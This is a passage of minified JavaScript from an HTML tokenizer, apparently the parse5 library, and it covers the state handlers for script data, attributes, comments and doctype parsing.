n.CODE_POINTS.SOLIDUS:return this._advanceBy(this.lastStartTagName.length),this.state=u.SELF_CLOSING_START_TAG,!1;case n.CODE_POINTS.GREATER_THAN_SIGN:return this._advanceBy(this.lastStartTagName.length),this.emitCurrentTagToken(),this.state=u.DATA,!1;default:return!this._ensureHibernation()}}_stateRcdataEndTagName(e){this.handleSpecialEndTag(e)&&(this._emitChars("</"),this.state=u.RCDATA,this._stateRcdata(e))}_stateRawtextLessThanSign(e){e===n.CODE_POINTS.SOLIDUS?this.state=u.RAWTEXT_END_TAG_OPEN:(this._emitChars("<"),this.state=u.RAWTEXT,this._stateRawtext(e))}_stateRawtextEndTagOpen(e){d(e)?(this.state=u.RAWTEXT_END_TAG_NAME,this._stateRawtextEndTagName(e)):(this._emitChars("</"),this.state=u.RAWTEXT,this._stateRawtext(e))}_stateRawtextEndTagName(e){this.handleSpecialEndTag(e)&&(this._emitChars("</"),this.state=u.RAWTEXT,this._stateRawtext(e))}_stateScriptDataLessThanSign(e){switch(e){case n.CODE_POINTS.SOLIDUS:this.state=u.SCRIPT_DATA_END_TAG_OPEN;break;case n.CODE_POINTS.EXCLAMATION_MARK:this.state=u.SCRIPT_DATA_ESCAPE_START,this._emitChars("<!");break;default:this._emitChars("<"),this.state=u.SCRIPT_DATA,this._stateScriptData(e)}}_stateScriptDataEndTagOpen(e){d(e)?(this.state=u.SCRIPT_DATA_END_TAG_NAME,this._stateScriptDataEndTagName(e)):(this._emitChars("</"),this.state=u.SCRIPT_DATA,this._stateScriptData(e))}_stateScriptDataEndTagName(e){this.handleSpecialEndTag(e)&&(this._emitChars("</"),this.state=u.SCRIPT_DATA,this._stateScriptData(e))}_stateScriptDataEscapeStart(e){e===n.CODE_POINTS.HYPHEN_MINUS?(this.state=u.SCRIPT_DATA_ESCAPE_START_DASH,this._emitChars("-")):(this.state=u.SCRIPT_DATA,this._stateScriptData(e))}_stateScriptDataEscapeStartDash(e){e===n.CODE_POINTS.HYPHEN_MINUS?(this.state=u.SCRIPT_DATA_ESCAPED_DASH_DASH,this._emitChars("-")):(this.state=u.SCRIPT_DATA,this._stateScriptData(e))}_stateScriptDataEscaped(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.SCRIPT_DATA_ESCAPED_DASH,this._emitChars("-");break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInScriptHtmlCommentLikeText),this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateScriptDataEscapedDash(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.SCRIPT_DATA_ESCAPED_DASH_DASH,this._emitChars("-");break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.state=u.SCRIPT_DATA_ESCAPED,this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInScriptHtmlCommentLikeText),this._emitEOFToken();break;default:this.state=u.SCRIPT_DATA_ESCAPED,this._emitCodePoint(e)}}_stateScriptDataEscapedDashDash(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this._emitChars("-");break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.SCRIPT_DATA,this._emitChars(">");break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.state=u.SCRIPT_DATA_ESCAPED,this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInScriptHtmlCommentLikeText),this._emitEOFToken();break;default:this.state=u.SCRIPT_DATA_ESCAPED,this._emitCodePoint(e)}}_stateScriptDataEscapedLessThanSign(e){e===n.CODE_POINTS.SOLIDUS?this.state=u.SCRIPT_DATA_ESCAPED_END_TAG_OPEN:d(e)?(this._emitChars("<"),this.state=u.SCRIPT_DATA_DOUBLE_ESCAPE_START,this._stateScriptDataDoubleEscapeStart(e)):(this._emitChars("<"),this.state=u.SCRIPT_DATA_ESCAPED,this._stateScriptDataEscaped(e))}_stateScriptDataEscapedEndTagOpen(e){d(e)?(this.state=u.SCRIPT_DATA_ESCAPED_END_TAG_NAME,this._stateScriptDataEscapedEndTagName(e)):(this._emitChars("</"),this.state=u.SCRIPT_DATA_ESCAPED,this._stateScriptDataEscaped(e))}_stateScriptDataEscapedEndTagName(e){this.handleSpecialEndTag(e)&&(this._emitChars("</"),this.state=u.SCRIPT_DATA_ESCAPED,this._stateScriptDataEscaped(e))}_stateScriptDataDoubleEscapeStart(e){if(this.preprocessor.startsWith(n.SEQUENCES.SCRIPT,!1)&&g(this.preprocessor.peek(n.SEQUENCES.SCRIPT.length))){this._emitCodePoint(e);for(let e=0;e<n.SEQUENCES.SCRIPT.length;e++)this._emitCodePoint(this._consume());this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED}else this._ensureHibernation()||(this.state=u.SCRIPT_DATA_ESCAPED,this._stateScriptDataEscaped(e))}_stateScriptDataDoubleEscaped(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED_DASH,this._emitChars("-");break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN,this._emitChars("<");break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInScriptHtmlCommentLikeText),this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateScriptDataDoubleEscapedDash(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED_DASH_DASH,this._emitChars("-");break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN,this._emitChars("<");break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED,this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInScriptHtmlCommentLikeText),this._emitEOFToken();break;default:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED,this._emitCodePoint(e)}}_stateScriptDataDoubleEscapedDashDash(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this._emitChars("-");break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN,this._emitChars("<");break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.SCRIPT_DATA,this._emitChars(">");break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED,this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInScriptHtmlCommentLikeText),this._emitEOFToken();break;default:this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED,this._emitCodePoint(e)}}_stateScriptDataDoubleEscapedLessThanSign(e){e===n.CODE_POINTS.SOLIDUS?(this.state=u.SCRIPT_DATA_DOUBLE_ESCAPE_END,this._emitChars("/")):(this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED,this._stateScriptDataDoubleEscaped(e))}_stateScriptDataDoubleEscapeEnd(e){if(this.preprocessor.startsWith(n.SEQUENCES.SCRIPT,!1)&&g(this.preprocessor.peek(n.SEQUENCES.SCRIPT.length))){this._emitCodePoint(e);for(let e=0;e<n.SEQUENCES.SCRIPT.length;e++)this._emitCodePoint(this._consume());this.state=u.SCRIPT_DATA_ESCAPED}else this._ensureHibernation()||(this.state=u.SCRIPT_DATA_DOUBLE_ESCAPED,this._stateScriptDataDoubleEscaped(e))}_stateBeforeAttributeName(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.SOLIDUS:case n.CODE_POINTS.GREATER_THAN_SIGN:case n.CODE_POINTS.EOF:this.state=u.AFTER_ATTRIBUTE_NAME,this._stateAfterAttributeName(e);break;case n.CODE_POINTS.EQUALS_SIGN:this._err(o.ERR.unexpectedEqualsSignBeforeAttributeName),this._createAttr("="),this.state=u.ATTRIBUTE_NAME;break;default:this._createAttr(""),this.state=u.ATTRIBUTE_NAME,this._stateAttributeName(e)}}_stateAttributeName(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:case n.CODE_POINTS.SOLIDUS:case n.CODE_POINTS.GREATER_THAN_SIGN:case n.CODE_POINTS.EOF:this._leaveAttrName(),this.state=u.AFTER_ATTRIBUTE_NAME,this._stateAfterAttributeName(e);break;case n.CODE_POINTS.EQUALS_SIGN:this._leaveAttrName(),this.state=u.BEFORE_ATTRIBUTE_VALUE;break;case n.CODE_POINTS.QUOTATION_MARK:case n.CODE_POINTS.APOSTROPHE:case n.CODE_POINTS.LESS_THAN_SIGN:this._err(o.ERR.unexpectedCharacterInAttributeName),this.currentAttr.name+=String.fromCodePoint(e);break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.currentAttr.name+=n.REPLACEMENT_CHARACTER;break;default:this.currentAttr.name+=String.fromCodePoint(c(e)?f(e):e)}}_stateAfterAttributeName(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.SOLIDUS:this.state=u.SELF_CLOSING_START_TAG;break;case n.CODE_POINTS.EQUALS_SIGN:this.state=u.BEFORE_ATTRIBUTE_VALUE;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentTagToken();break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:this._createAttr(""),this.state=u.ATTRIBUTE_NAME,this._stateAttributeName(e)}}_stateBeforeAttributeValue(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.QUOTATION_MARK:this.state=u.ATTRIBUTE_VALUE_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:this.state=u.ATTRIBUTE_VALUE_SINGLE_QUOTED;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.missingAttributeValue),this.state=u.DATA,this.emitCurrentTagToken();break;default:this.state=u.ATTRIBUTE_VALUE_UNQUOTED,this._stateAttributeValueUnquoted(e)}}_stateAttributeValueDoubleQuoted(e){switch(e){case n.CODE_POINTS.QUOTATION_MARK:this.state=u.AFTER_ATTRIBUTE_VALUE_QUOTED;break;case n.CODE_POINTS.AMPERSAND:this._startCharacterReference();break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.currentAttr.value+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:this.currentAttr.value+=String.fromCodePoint(e)}}_stateAttributeValueSingleQuoted(e){switch(e){case n.CODE_POINTS.APOSTROPHE:this.state=u.AFTER_ATTRIBUTE_VALUE_QUOTED;break;case n.CODE_POINTS.AMPERSAND:this._startCharacterReference();break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.currentAttr.value+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:this.currentAttr.value+=String.fromCodePoint(e)}}_stateAttributeValueUnquoted(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this._leaveAttrValue(),this.state=u.BEFORE_ATTRIBUTE_NAME;break;case n.CODE_POINTS.AMPERSAND:this._startCharacterReference();break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._leaveAttrValue(),this.state=u.DATA,this.emitCurrentTagToken();break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this.currentAttr.value+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.QUOTATION_MARK:case n.CODE_POINTS.APOSTROPHE:case n.CODE_POINTS.LESS_THAN_SIGN:case n.CODE_POINTS.EQUALS_SIGN:case n.CODE_POINTS.GRAVE_ACCENT:this._err(o.ERR.unexpectedCharacterInUnquotedAttributeValue),this.currentAttr.value+=String.fromCodePoint(e);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:this.currentAttr.value+=String.fromCodePoint(e)}}_stateAfterAttributeValueQuoted(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this._leaveAttrValue(),this.state=u.BEFORE_ATTRIBUTE_NAME;break;case n.CODE_POINTS.SOLIDUS:this._leaveAttrValue(),this.state=u.SELF_CLOSING_START_TAG;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._leaveAttrValue(),this.state=u.DATA,this.emitCurrentTagToken();break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:this._err(o.ERR.missingWhitespaceBetweenAttributes),this.state=u.BEFORE_ATTRIBUTE_NAME,this._stateBeforeAttributeName(e)}}_stateSelfClosingStartTag(e){switch(e){case n.CODE_POINTS.GREATER_THAN_SIGN:this.currentToken.selfClosing=!0,this.state=u.DATA,this.emitCurrentTagToken();break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:this._err(o.ERR.unexpectedSolidusInTag),this.state=u.BEFORE_ATTRIBUTE_NAME,this._stateBeforeAttributeName(e)}}_stateBogusComment(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentComment(t);break;case n.CODE_POINTS.EOF:this.emitCurrentComment(t),this._emitEOFToken();break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.data+=n.REPLACEMENT_CHARACTER;break;default:t.data+=String.fromCodePoint(e)}}_stateMarkupDeclarationOpen(e){this._consumeSequenceIfMatch(n.SEQUENCES.DASH_DASH,!0)?(this._createCommentToken(n.SEQUENCES.DASH_DASH.length+1),this.state=u.COMMENT_START):this._consumeSequenceIfMatch(n.SEQUENCES.DOCTYPE,!1)?(this.currentLocation=this.getCurrentLocation(n.SEQUENCES.DOCTYPE.length+1),this.state=u.DOCTYPE):this._consumeSequenceIfMatch(n.SEQUENCES.CDATA_START,!0)?this.inForeignNode?this.state=u.CDATA_SECTION:(this._err(o.ERR.cdataInHtmlContent),this._createCommentToken(n.SEQUENCES.CDATA_START.length+1),this.currentToken.data="[CDATA[",this.state=u.BOGUS_COMMENT):this._ensureHibernation()||(this._err(o.ERR.incorrectlyOpenedComment),this._createCommentToken(2),this.state=u.BOGUS_COMMENT,this._stateBogusComment(e))}_stateCommentStart(e){switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.COMMENT_START_DASH;break;case n.CODE_POINTS.GREATER_THAN_SIGN:{this._err(o.ERR.abruptClosingOfEmptyComment),this.state=u.DATA;const e=this.currentToken;this.emitCurrentComment(e);break}default:this.state=u.COMMENT,this._stateComment(e)}}_stateCommentStartDash(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.COMMENT_END;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.abruptClosingOfEmptyComment),this.state=u.DATA,this.emitCurrentComment(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInComment),this.emitCurrentComment(t),this._emitEOFToken();break;default:t.data+="-",this.state=u.COMMENT,this._stateComment(e)}}_stateComment(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.COMMENT_END_DASH;break;case n.CODE_POINTS.LESS_THAN_SIGN:t.data+="<",this.state=u.COMMENT_LESS_THAN_SIGN;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.data+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInComment),this.emitCurrentComment(t),this._emitEOFToken();break;default:t.data+=String.fromCodePoint(e)}}_stateCommentLessThanSign(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.EXCLAMATION_MARK:t.data+="!",this.state=u.COMMENT_LESS_THAN_SIGN_BANG;break;case n.CODE_POINTS.LESS_THAN_SIGN:t.data+="<";break;default:this.state=u.COMMENT,this._stateComment(e)}}_stateCommentLessThanSignBang(e){e===n.CODE_POINTS.HYPHEN_MINUS?this.state=u.COMMENT_LESS_THAN_SIGN_BANG_DASH:(this.state=u.COMMENT,this._stateComment(e))}_stateCommentLessThanSignBangDash(e){e===n.CODE_POINTS.HYPHEN_MINUS?this.state=u.COMMENT_LESS_THAN_SIGN_BANG_DASH_DASH:(this.state=u.COMMENT_END_DASH,this._stateCommentEndDash(e))}_stateCommentLessThanSignBangDashDash(e){e!==n.CODE_POINTS.GREATER_THAN_SIGN&&e!==n.CODE_POINTS.EOF&&this._err(o.ERR.nestedComment),this.state=u.COMMENT_END,this._stateCommentEnd(e)}_stateCommentEndDash(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.HYPHEN_MINUS:this.state=u.COMMENT_END;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInComment),this.emitCurrentComment(t),this._emitEOFToken();break;default:t.data+="-",this.state=u.COMMENT,this._stateComment(e)}}_stateCommentEnd(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentComment(t);break;case n.CODE_POINTS.EXCLAMATION_MARK:this.state=u.COMMENT_END_BANG;break;case n.CODE_POINTS.HYPHEN_MINUS:t.data+="-";break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInComment),this.emitCurrentComment(t),this._emitEOFToken();break;default:t.data+="--",this.state=u.COMMENT,this._stateComment(e)}}_stateCommentEndBang(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.HYPHEN_MINUS:t.data+="--!",this.state=u.COMMENT_END_DASH;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.incorrectlyClosedComment),this.state=u.DATA,this.emitCurrentComment(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInComment),this.emitCurrentComment(t),this._emitEOFToken();break;default:t.data+="--!",this.state=u.COMMENT,this._stateComment(e)}}_stateDoctype(e){switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this.state=u.BEFORE_DOCTYPE_NAME;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.BEFORE_DOCTYPE_NAME,this._stateBeforeDoctypeName(e);break;case n.CODE_POINTS.EOF:{this._err(o.ERR.eofInDoctype),this._createDoctypeToken(null);const e=this.currentToken;e.forceQuirks=!0,this.emitCurrentDoctype(e),this._emitEOFToken();break}default:this._err(o.ERR.missingWhitespaceBeforeDoctypeName),this.state=u.BEFORE_DOCTYPE_NAME,this._stateBeforeDoctypeName(e)}}_stateBeforeDoctypeName(e){if(c(e))this._createDoctypeToken(String.fromCharCode(f(e))),this.state=u.DOCTYPE_NAME;else switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._createDoctypeToken(n.REPLACEMENT_CHARACTER),this.state=u.DOCTYPE_NAME;break;case n.CODE_POINTS.GREATER_THAN_SIGN:{this._err(o.ERR.missingDoctypeName),this._createDoctypeToken(null);const e=this.currentToken;e.forceQuirks=!0,this.emitCurrentDoctype(e),this.state=u.DATA;break}case n.CODE_POINTS.EOF:{this._err(o.ERR.eofInDoctype),this._createDoctypeToken(null);const e=this.currentToken;e.forceQuirks=!0,this.emitCurrentDoctype(e),this._emitEOFToken();break}default:this._createDoctypeToken(String.fromCodePoint(e)),this.state=u.DOCTYPE_NAME}}_stateDoctypeName(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this.state=u.AFTER_DOCTYPE_NAME;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.name+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:t.name+=String.fromCodePoint(c(e)?f(e):e)}}_stateAfterDoctypeName(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._consumeSequenceIfMatch(n.SEQUENCES.PUBLIC,!1)?this.state=u.AFTER_DOCTYPE_PUBLIC_KEYWORD:this._consumeSequenceIfMatch(n.SEQUENCES.SYSTEM,!1)?this.state=u.AFTER_DOCTYPE_SYSTEM_KEYWORD:this._ensureHibernation()||(this._err(o.ERR.invalidCharacterSequenceAfterDoctypeName),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e))}}_stateAfterDoctypePublicKeyword(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this.state=u.BEFORE_DOCTYPE_PUBLIC_IDENTIFIER;break;case n.CODE_POINTS.QUOTATION_MARK:this._err(o.ERR.missingWhitespaceAfterDoctypePublicKeyword),t.publicId="",this.state=u.DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:this._err(o.ERR.missingWhitespaceAfterDoctypePublicKeyword),t.publicId="",this.state=u.DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.missingDoctypePublicIdentifier),t.forceQuirks=!0,this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.missingQuoteBeforeDoctypePublicIdentifier),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateBeforeDoctypePublicIdentifier(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.QUOTATION_MARK:t.publicId="",this.state=u.DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:t.publicId="",this.state=u.DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.missingDoctypePublicIdentifier),t.forceQuirks=!0,this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.missingQuoteBeforeDoctypePublicIdentifier),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateDoctypePublicIdentifierDoubleQuoted(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.QUOTATION_MARK:this.state=u.AFTER_DOCTYPE_PUBLIC_IDENTIFIER;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.publicId+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.abruptDoctypePublicIdentifier),t.forceQuirks=!0,this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:t.publicId+=String.fromCodePoint(e)}}_stateDoctypePublicIdentifierSingleQuoted(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.APOSTROPHE:this.state=u.AFTER_DOCTYPE_PUBLIC_IDENTIFIER;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.publicId+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.abruptDoctypePublicIdentifier),t.forceQuirks=!0,this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:t.publicId+=String.fromCodePoint(e)}}_stateAfterDoctypePublicIdentifier(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this.state=u.BETWEEN_DOCTYPE_PUBLIC_AND_SYSTEM_IDENTIFIERS;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.QUOTATION_MARK:this._err(o.ERR.missingWhitespaceBetweenDoctypePublicAndSystemIdentifiers),t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:this._err(o.ERR.missingWhitespaceBetweenDoctypePublicAndSystemIdentifiers),t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.missingQuoteBeforeDoctypeSystemIdentifier),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateBetweenDoctypePublicAndSystemIdentifiers(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.emitCurrentDoctype(t),this.state=u.DATA;break;case n.CODE_POINTS.QUOTATION_MARK:t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.missingQuoteBeforeDoctypeSystemIdentifier),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateAfterDoctypeSystemKeyword(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this.state=u.BEFORE_DOCTYPE_SYSTEM_IDENTIFIER;break;case n.CODE_POINTS.QUOTATION_MARK:this._err(o.ERR.missingWhitespaceAfterDoctypeSystemKeyword),t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED;break;case n.CODE_POINTS.APOSTROPHE:this._err(o.ERR.missingWhitespaceAfterDoctypeSystemKeyword),t.systemId="",this.state=u.DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.missingDoctypeSystemIdentifier),t.forceQuirks=!0,this.state=u.DATA,this.emitCurrentDoctype(t);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInDoctype),t.forceQuirks=!0,this.emitCurrentDoctype(t),this._emitEOFToken();break;default:this._err(o.ERR.missingQuoteBeforeDoctypeSystemIdentifier),t.forceQuirks=!0,this.state=u.BOGUS_DOCTYPE,this._stateBogusDoctype(e)}}_stateBeforeDoctypeSystemIdentifier(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:break;case 